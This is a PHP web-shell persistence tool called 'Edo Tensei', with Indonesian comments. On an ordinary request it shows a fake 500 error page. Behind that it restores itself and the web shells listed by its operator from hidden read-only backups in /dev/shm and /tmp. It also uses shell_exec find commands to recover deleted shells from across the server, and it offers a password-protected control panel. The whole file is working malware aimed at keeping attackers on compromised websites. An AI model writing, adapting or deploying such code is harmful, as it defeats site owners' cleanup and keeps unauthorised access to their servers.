<?php

define('AUTH_HASH', '$2a$12$NY9Uu6xNVlWBIsiQTKGp1.5YRkHRjoOcu4Gz6Mmote3k/QyO3wWIS');


function getDocumentRoot() {
    if (isset($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['DOCUMENT_ROOT'])) {
        return rtrim($_SERVER['DOCUMENT_ROOT'], '/');
    }
    $scriptPath = dirname($_SERVER['SCRIPT_FILENAME']);
    $self = dirname($_SERVER['PHP_SELF']);
    if ($self == '/' || $self == '\\') {
        return $scriptPath;
    }
    return str_replace($self, '', $scriptPath);
}

$DOCUMENT_ROOT = getDocumentRoot();
$configFile = __DIR__ . '/.cfg';
$masterFile = __FILE__;
$masterBackupDir = '/dev/shm/.master/';

// ========== FUNGSI AUTHENTIKASI BCrypt ==========
function isAuthenticated() {
    // Cek parameter GET
    if (isset($_GET['pwd'])) {
        return password_verify($_GET['pwd'], AUTH_HASH);
    }
    
    // Cek parameter POST (dari form login)
    if (isset($_POST['login_pwd'])) {
        return password_verify($_POST['login_pwd'], AUTH_HASH);
    }
    
    return false;
}

// ========== TAMPILAN FORM LOGIN ==========
function showLoginForm($error = false) {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Edo Tensei - Login</title>
        <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
        <style>
            :root {
                --bg-primary: #0a0c15;
                --bg-card: #151a2a;
                --border: #2a2f45;
                --accent: #00ff9d;
                --accent-glow: rgba(0, 255, 157, 0.2);
                --text-primary: #eef5ff;
                --text-secondary: #8a92b0;
                --danger: #ff4444;
            }
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                background: var(--bg-primary);
                font-family: 'Inter', sans-serif;
                min-height: 100vh;
                display: flex;
                align-items: center;
                justify-content: center;
                position: relative;
                overflow: hidden;
            }
            body::before {
                content: '';
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: radial-gradient(circle at 20% 50%, rgba(0, 255, 157, 0.05) 0%, transparent 50%);
                pointer-events: none;
            }
            body::after {
                content: '';
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: repeating-linear-gradient(45deg, transparent, transparent 2px, rgba(0, 255, 157, 0.02) 2px, rgba(0, 255, 157, 0.02) 6px);
                pointer-events: none;
            }
            .login-container {
                position: relative;
                z-index: 1;
                width: 100%;
                max-width: 420px;
                padding: 20px;
            }
            .login-card {
                background: var(--bg-card);
                border-radius: 32px;
                border: 1px solid var(--border);
                padding: 40px 32px;
                backdrop-filter: blur(10px);
                box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.5);
            }
            .logo {
                text-align: center;
                margin-bottom: 32px;
            }
            .logo-icon {
                width: 70px;
                height: 70px;
                background: rgba(0, 255, 157, 0.1);
                border-radius: 24px;
                display: flex;
                align-items: center;
                justify-content: center;
                margin: 0 auto 16px;
                border: 1px solid var(--border);
                box-shadow: 0 0 30px var(--accent-glow);
            }
            .logo-icon i {
                font-size: 36px;
                color: var(--accent);
                filter: drop-shadow(0 0 8px var(--accent));
            }
            .logo h1 {
                font-size: 24px;
                font-weight: 700;
                background: linear-gradient(135deg, #00ff9d 0%, #00cc7a 100%);
                -webkit-background-clip: text;
                background-clip: text;
                color: transparent;
            }
            .logo p {
                font-size: 13px;
                color: var(--text-secondary);
                margin-top: 6px;
            }
            .input-group {
                margin-bottom: 24px;
            }
            .input-wrapper {
                display: flex;
                align-items: center;
                background: rgba(0, 0, 0, 0.3);
                border-radius: 16px;
                border: 1px solid var(--border);
                transition: all 0.2s ease;
            }
            .input-wrapper:focus-within {
                border-color: var(--accent);
                box-shadow: 0 0 0 3px var(--accent-glow);
            }
            .input-wrapper i {
                padding: 0 16px;
                color: var(--text-muted);
                font-size: 16px;
            }
            .input-wrapper input {
                flex: 1;
                background: transparent;
                border: none;
                padding: 16px 16px 16px 0;
                color: var(--text-primary);
                font-size: 15px;
                outline: none;
                font-family: 'Inter', sans-serif;
            }
            .input-wrapper input::placeholder {
                color: var(--text-muted);
            }
            button {
                width: 100%;
                background: linear-gradient(135deg, #00ff9d 0%, #00cc7a 100%);
                border: none;
                padding: 14px;
                border-radius: 40px;
                font-weight: 600;
                font-size: 15px;
                color: #0a0c15;
                cursor: pointer;
                transition: all 0.2s ease;
                font-family: 'Inter', sans-serif;
                display: flex;
                align-items: center;
                justify-content: center;
                gap: 10px;
            }
            button:hover {
                transform: translateY(-1px);
                box-shadow: 0 10px 25px rgba(0, 255, 157, 0.3);
            }
            .error-msg {
                background: rgba(255, 68, 68, 0.1);
                border: 1px solid rgba(255, 68, 68, 0.3);
                border-radius: 12px;
                padding: 12px 16px;
                margin-bottom: 24px;
                display: flex;
                align-items: center;
                gap: 10px;
                font-size: 13px;
                color: #ff6666;
            }
            .error-msg i {
                font-size: 16px;
            }
            .footer {
                text-align: center;
                margin-top: 32px;
                font-size: 11px;
                color: var(--text-muted);
            }
            .footer i {
                color: var(--accent);
                font-size: 10px;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <div class="login-card">
                <div class="logo">
                    <div class="logo-icon">
                        <i class="fas fa-bolt"></i>
                    </div>
                    <h1>Edo Tensei</h1>
                    <p>Immortal Shell Management</p>
                </div>
                
                <?php if ($error): ?>
                <div class="error-msg">
                    <i class="fas fa-skull-crossbones"></i>
                    <span>Invalid password. Access denied.</span>
                </div>
                <?php endif; ?>
                
                <form method="POST" action="">
                    <div class="input-group">
                        <div class="input-wrapper">
                            <i class="fas fa-lock"></i>
                            <input type="password" name="login_pwd" placeholder="Enter password" autofocus>
                        </div>
                    </div>
                    <button type="submit">
                        <i class="fas fa-sign-in-alt"></i> Authenticate
                    </button>
                </form>
                
                <div class="footer">
                    <i class="fas fa-infinity"></i> Rinnegan Rebirth System
                </div>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ========== FUNGSI BACKUP & RESTORE MASTER ==========
function backupMaster() {
    global $masterFile, $masterBackupDir;
    if (!is_dir($masterBackupDir)) mkdir($masterBackupDir, 0777, true);
    if (file_exists($masterFile)) {
        $content = file_get_contents($masterFile);
        file_put_contents($masterBackupDir . 'edotensei.bak', $content);
        chmod($masterBackupDir . 'edotensei.bak', 0444);
        file_put_contents('/tmp/.system/edotensei.bak', $content);
        chmod('/tmp/.system/edotensei.bak', 0444);
        if (!is_dir('/tmp/.system/')) mkdir('/tmp/.system/', 0777, true);
        return true;
    }
    return false;
}

function restoreMaster() {
    global $masterFile, $masterBackupDir;
    if (file_exists($masterFile)) return true;
    
    $backup1 = $masterBackupDir . 'edotensei.bak';
    if (file_exists($backup1)) { copy($backup1, $masterFile); chmod($masterFile, 0644); return true; }
    
    $backup2 = '/tmp/.system/edotensei.bak';
    if (file_exists($backup2)) { copy($backup2, $masterFile); chmod($masterFile, 0644); return true; }
    
    $cmd = "find /var/www /home /tmp /dev/shm -name 'edotensei.php' -type f 2>/dev/null | grep -v '{$masterFile}' | head -1";
    $found = @shell_exec($cmd);
    if ($found && trim($found)) { copy(trim($found), $masterFile); chmod($masterFile, 0644); return true; }
    
    return false;
}

// ========== FUNGSI KONFIGURASI SHELL ==========
function saveConfig($paths) {
    global $configFile, $DOCUMENT_ROOT;
    $config = ['doc_root' => $DOCUMENT_ROOT, 'shells' => [], 'master_backup' => date('Y-m-d H:i:s')];
    foreach ($paths as $path) {
        $path = trim($path);
        if (!empty($path)) $config['shells'][] = ltrim($path, '/');
    }
    file_put_contents($configFile, json_encode($config));
    chmod($configFile, 0644);
    return count($config['shells']);
}

function loadConfig() {
    global $configFile, $DOCUMENT_ROOT;
    if (!file_exists($configFile)) return ['doc_root' => $DOCUMENT_ROOT, 'shells' => []];
    $config = json_decode(file_get_contents($configFile), true);
    if (!isset($config['doc_root'])) $config['doc_root'] = $DOCUMENT_ROOT;
    if (!isset($config['shells'])) $config['shells'] = [];
    return $config;
}

function getAbsolutePath($relativePath) {
    global $DOCUMENT_ROOT;
    return $DOCUMENT_ROOT . '/' . ltrim($relativePath, '/');
}

function backupAllShells($shells) {
    $backupDir = '/dev/shm/.sys/';
    if (!is_dir($backupDir)) mkdir($backupDir, 0777, true);
    foreach ($shells as $relativePath) {
        $absPath = getAbsolutePath($relativePath);
        if (file_exists($absPath)) {
            $backup = $backupDir . md5($relativePath) . '.bak';
            if (!file_exists($backup)) {
                file_put_contents($backup, file_get_contents($absPath));
                chmod($backup, 0444);
            }
        }
    }
}

function restoreAllShells($shells) {
    $backupDir = '/dev/shm/.sys/';
    $restored = 0;
    foreach ($shells as $relativePath) {
        $absPath = getAbsolutePath($relativePath);
        $backup = $backupDir . md5($relativePath) . '.bak';
        if (!file_exists($absPath) && file_exists($backup)) {
            $dir = dirname($absPath);
            if (!is_dir($dir)) mkdir($dir, 0755, true);
            copy($backup, $absPath);
            chmod($absPath, 0644);
            $restored++;
        }
        if (file_exists($absPath)) {
            $perm = fileperms($absPath) & 0777;
            if ($perm !== 0644 && $perm !== 0755) chmod($absPath, 0644);
        }
    }
    return $restored;
}

function restoreFromAnywhere($shells) {
    global $DOCUMENT_ROOT;
    $restored = 0;
    foreach ($shells as $relativePath) {
        $absPath = getAbsolutePath($relativePath);
        if (!file_exists($absPath)) {
            $basename = basename($relativePath);
            $cmd = "find {$DOCUMENT_ROOT} /tmp /dev/shm -name '{$basename}' -type f 2>/dev/null | head -1";
            $found = @shell_exec($cmd);
            if ($found && trim($found)) {
                $foundFile = trim($found);
                $dir = dirname($absPath);
                if (!is_dir($dir)) mkdir($dir, 0755, true);
                copy($foundFile, $absPath);
                chmod($absPath, 0644);
                $restored++;
            }
        }
    }
    return $restored;
}

// ========== PANEL UTAMA (SETELAH LOGIN) ==========
function showPanel() {
    global $DOCUMENT_ROOT;
    $config = loadConfig();
    $savedShells = $config['shells'];
    $numRows = 10;
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Edo Tensei - Panel</title>
        <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
        <style>
            :root {
                --bg-primary: #0a0c15;
                --bg-secondary: #11141f;
                --bg-card: #151a2a;
                --bg-input: #1a1f33;
                --border: #2a2f45;
                --accent: #00ff9d;
                --accent-glow: rgba(0, 255, 157, 0.2);
                --text-primary: #eef5ff;
                --text-secondary: #8a92b0;
                --text-muted: #4a5070;
                --gradient: linear-gradient(135deg, #00ff9d 0%, #00cc7a 50%, #00995a 100%);
            }
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body {
                background: var(--bg-primary);
                font-family: 'Inter', sans-serif;
                color: var(--text-primary);
                min-height: 100vh;
                position: relative;
            }
            body::before {
                content: '';
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: radial-gradient(circle at 20% 50%, rgba(0, 255, 157, 0.03) 0%, transparent 50%);
                pointer-events: none;
            }
            .container { max-width: 1100px; margin: 0 auto; padding: 40px 24px; position: relative; z-index: 1; }
            .header { text-align: center; margin-bottom: 48px; }
            .logo {
                display: inline-flex;
                align-items: center;
                gap: 12px;
                margin-bottom: 20px;
            }
            .logo-icon {
                width: 60px;
                height: 60px;
                background: var(--bg-card);
                border-radius: 20px;
                display: flex;
                align-items: center;
                justify-content: center;
                border: 1px solid var(--border);
                box-shadow: 0 0 30px var(--accent-glow);
            }
            .logo-icon i { font-size: 32px; color: var(--accent); }
            .logo-text h1 {font-size: 28px;
                font-weight: 700;
                background: var(--gradient);
                -webkit-background-clip: text;
                background-clip: text;
                color: transparent;
            }
            .badge {
                display: inline-flex;
                align-items: center;
                gap: 6px;
                background: rgba(0, 255, 157, 0.1);
                padding: 6px 14px;
                border-radius: 40px;
                font-size: 12px;
                color: var(--accent);
                border: 1px solid rgba(0, 255, 157, 0.2);
            }
            .stats-grid {
                display: grid;
                grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
                gap: 20px;
                margin-bottom: 32px;
            }
            .stat-card {
                background: var(--bg-card);
                border-radius: 20px;
                padding: 20px;
                border: 1px solid var(--border);
                transition: all 0.3s ease;
            }
            .stat-card:hover { border-color: var(--accent); transform: translateY(-2px); }
            .stat-icon {
                width: 48px;
                height: 48px;
                background: rgba(0, 255, 157, 0.1);
                border-radius: 16px;
                display: flex;
                align-items: center;
                justify-content: center;
                margin-bottom: 16px;
            }
            .stat-icon i { font-size: 24px; color: var(--accent); }
            .stat-value { font-size: 28px; font-weight: 700; margin-bottom: 4px; }
            .stat-label { font-size: 12px; color: var(--text-secondary); }
            .main-card {
                background: var(--bg-card);
                border-radius: 24px;
                border: 1px solid var(--border);
                overflow: hidden;
                margin-bottom: 24px;
            }
            .card-header {
                padding: 24px 28px;
                background: rgba(0, 0, 0, 0.2);
                border-bottom: 1px solid var(--border);
                display: flex;
                justify-content: space-between;
                align-items: center;
                flex-wrap: wrap;
                gap: 16px;
            }
            .card-title { display: flex; align-items: center; gap: 12px; }
            .card-title i { font-size: 24px; color: var(--accent); }
            .card-title h2 { font-size: 20px; font-weight: 600; }
            .doc-root {
                background: var(--bg-input);
                padding: 8px 16px;
                border-radius: 40px;
                font-size: 12px;
                font-family: monospace;
                color: var(--accent);
            }
            .form-container { padding: 24px 28px; }
            .input-row { margin-bottom: 12px; }
            .input-wrapper {
                display: flex;
                align-items: center;
                gap: 12px;
                background: var(--bg-input);
                border-radius: 14px;
                border: 1px solid var(--border);
                transition: all 0.2s ease;
            }
            .input-wrapper:focus-within {
                border-color: var(--accent);
                box-shadow: 0 0 0 3px var(--accent-glow);
            }
            .input-number {
                width: 50px;
                text-align: center;
                font-weight: 600;
                color: var(--accent);
                font-size: 14px;
                border-right: 1px solid var(--border);
                padding: 12px 0;
            }
            .input-field {
                flex: 1;
                background: transparent;
                border: none;
                padding: 12px 16px;
                color: var(--text-primary);
                font-family: monospace;
                font-size: 13px;
                outline: none;
            }
            .example-hint {
                margin-left: 62px;
                margin-top: 6px;
                margin-bottom: 8px;
                font-size: 11px;
                color: var(--text-muted);
                display: flex;
                align-items: center;
                gap: 6px;
            }
            .example-hint code {
                background: rgba(0, 255, 157, 0.1);
                padding: 2px 8px;
                border-radius: 20px;
                color: var(--accent);
            }
            .button-group {
                display: flex;
                gap: 16px;
                margin-top: 28px;
                margin-left: 62px;
            }
            .btn {
                display: inline-flex;
                align-items: center;
                gap: 10px;
                padding: 12px 28px;
                border-radius: 40px;
                font-weight: 600;
                font-size: 14px;
                cursor: pointer;
                transition: all 0.2s ease;
                border: none;
                font-family: inherit;
            }
            .btn-primary {
                background: var(--gradient);
                color: var(--bg-primary);
                box-shadow: 0 4px 15px rgba(0, 255, 157, 0.3);
            }
            .btn-primary:hover { transform: translateY(-1px); box-shadow: 0 6px 25px rgba(0, 255, 157, 0.4); }
            .btn-secondary {
                background: rgba(255, 255, 255, 0.05);
                color: var(--text-secondary);
                border: 1px solid var(--border);
            }
            .info-card {
                background: rgba(0, 255, 157, 0.03);
                border-radius: 20px;
                padding: 20px 28px;
                border: 1px solid var(--border);
                display: flex;
                gap: 20px;
                flex-wrap: wrap;
                justify-content: space-between;
                align-items: center;
            }
            .info-item { display: flex; align-items: center; gap: 12px; font-size: 13px; }
            .info-item i {
                width: 32px;
                height: 32px;
                background: var(--bg-input);
                border-radius: 10px;
                display: flex;
                align-items: center;
                justify-content: center;
                color: var(--accent);
            }
            .footer {
                text-align: center;
                margin-top: 48px;
                padding: 24px;
                border-top: 1px solid var(--border);
                color: var(--text-muted);
                font-size: 12px;
            }
            @media (max-width: 768px) {
                .form-container { padding: 20px; }
                .button-group { margin-left: 0; flex-direction: column; }
                .example-hint { margin-left: 0; }
            }
        </style>
    </head>
    <body>
        <div class="container">
            <div class="header">
                <div class="logo">
                    <div class="logo-icon"><i class="fas fa-bolt"></i></div>
                    <div class="logo-text"><h1>Edo Tensei</h1></div>
                </div>
                <div class="badge"><i class="fas fa-infinity"></i> Rinnegan Rebirth Active</div>
            </div>

            <div class="stats-grid">
                <div class="stat-card">
                    <div class="stat-icon"><i class="fas fa-shield-alt"></i></div>
                    <div class="stat-value"><?= count($savedShells) ?></div>
                    <div class="stat-label">Protected Shells</div>
                </div>
                <div class="stat-card">
                    <div class="stat-icon"><i class="fas fa-crown"></i></div>
                    <div class="stat-value"><?= file_exists($GLOBALS['masterFile']) ? '✓' : '⟳' ?></div>
                    <div class="stat-label">Master Status</div>
                </div><div class="stat-card">
                    <div class="stat-icon"><i class="fas fa-database"></i></div>
                    <div class="stat-value">Multi</div>
                    <div class="stat-label">Backup Layer</div>
                </div>
            </div>

            <div class="main-card">
                <div class="card-header">
                    <div class="card-title"><i class="fas fa-list-ul"></i><div><h2>Shell Configuration</h2><p>Enter paths relative to document root</p></div></div>
                    <div class="doc-root"><i class="fas fa-folder-open"></i> <?= htmlspecialchars($DOCUMENT_ROOT) ?></div>
                </div>

                <?php if (isset($_POST['save'])): ?>
                <div class="alert" style="background:rgba(0,255,157,0.08); border:1px solid rgba(0,255,157,0.3); border-radius:16px; padding:16px 24px; margin:0 28px 24px 28px; display:flex; align-items:center; gap:12px">
                    <i class="fas fa-check-circle" style="color:var(--accent)"></i>
                    <div style="flex:1; font-size:14px"><strong>Configuration Saved!</strong> <?= count(array_filter($_POST['shells'])) ?> shell(s) configured.</div>
                </div>
                <?php endif; ?>

                <form method="POST" action="">
                    <div class="form-container">
                        <?php for ($i = 1; $i <= $numRows; $i++): 
                            $defaultValue = isset($savedShells[$i-1]) ? htmlspecialchars($savedShells[$i-1]) : '';
                        ?>
                        <div class="input-row">
                            <div class="input-wrapper">
                                <div class="input-number"><?= str_pad($i, 2, '0', STR_PAD_LEFT) ?></div>
                                <input type="text" name="shells[]" class="input-field" placeholder="/path/to/your/shell.php" value="<?= $defaultValue ?>" autocomplete="off">
                                <div style="padding-right:16px"><i class="fas fa-code"></i></div>
                            </div>
                            <div class="example-hint"><i class="fas fa-lightbulb"></i><span>Example:</span><code>assets/vendor/swiper/data/swiperhandler.php</code></div>
                        </div>
                        <?php endfor; ?>
                        <div class="button-group">
                            <button type="submit" name="save" class="btn btn-primary"><i class="fas fa-save"></i> Save Configuration</button>
                            <button type="button" class="btn btn-secondary" onclick="resetForm()"><i class="fas fa-undo-alt"></i> Reset All</button>
                        </div>
                    </div>
                </form>
            </div>

            <div class="info-card">
                <div class="info-item"><i class="fas fa-shield-alt"></i><div><span>Master:</span> <strong>Auto-Backup Active</strong></div></div>
                <div class="info-item"><i class="fas fa-sync-alt"></i><div><span>Auto-Restore:</span> <strong>Enabled</strong></div></div>
                <div class="info-item"><i class="fas fa-eye-slash"></i><div><span>Camouflage:</span> <strong>500 Error</strong></div></div>
                <div class="info-item"><i class="fas fa-terminal"></i><div><span>Access:</span> <strong>?panel | ?ccode</strong></div></div>
            </div>

            <div class="footer"><i class="fas fa-bolt"></i> Edo Tensei - Even death cannot stop me <i class="fas fa-skull-crossbones"></i></div>
        </div>
        <script>
            function resetForm() { if(confirm('Reset all fields?')) document.querySelectorAll('.input-field').forEach(i => i.value = ''); }
        </script>
    </body>
    </html>
    <?php
}

// ========== EKSEKUSI UTAMA ==========

$isPanel = isset($_GET['panel']) || isset($_GET['ccode']);
$isRestore = isset($_GET['restore']);
$isStatus = isset($_GET['status']);

// Proses save config
if (isset($_POST['save']) && isset($_POST['shells'])) {
    $valid = array_filter(array_map('trim', $_POST['shells']));
    saveConfig($valid);
    $config = loadConfig();
    backupAllShells($config['shells']);
    backupMaster();
    header('Location: ?panel&saved=1');
    exit;
}

// Manual restore
if ($isRestore) {
    restoreMaster();
    $config = loadConfig();
    restoreAllShells($config['shells']);
    die("Restore completed\n");
}

// Status check (no auth needed, just info)
if ($isStatus) {
    $config = loadConfig();
    echo "=== Edo Tensei Status ===\n";
    echo "Master: " . (file_exists($masterFile) ? "ACTIVE" : "NEED RESTORE") . "\n";
    echo "Protected shells: " . count($config['shells']) . "\n";
    exit;
}

// PANEL: cek auth dulu
if ($isPanel) {
    if (isAuthenticated()) {
        showPanel();
    } else {
        showLoginForm(isset($_POST['login_pwd']));
    }
    exit;
}

// ========== MODE NORMAL (kamuflase error 500) ==========

// Restore master dan shell yang dijaga
restoreMaster();
backupMaster();

$config = loadConfig();
$shells = $config['shells'];

if (!empty($shells)) {
    restoreAllShells($shells);
    restoreFromAnywhere($shells);
    backupAllShells($shells);
}

// Kamuflase error 500
header('HTTP/1.1 500 Internal Server Error');
?>
<!DOCTYPE html>
<html>
<head><title>500 Internal Server Error</title></head>
<body style="background:#f0f0f0;font-family:Arial;text-align:center;padding:50px">
    <div style="background:white;border-radius:5px;padding:30px;max-width:500px;margin:0 auto">
        <h1 style="color:#d32f2f">500</h1>
        <h2>Internal Server Error</h2>
        <hr><p>The server encountered an internal error.</p><hr>
        <code><?= $_SERVER['HTTP_HOST'] ?? 'localhost' ?></code>
    </div>
</body>
</html>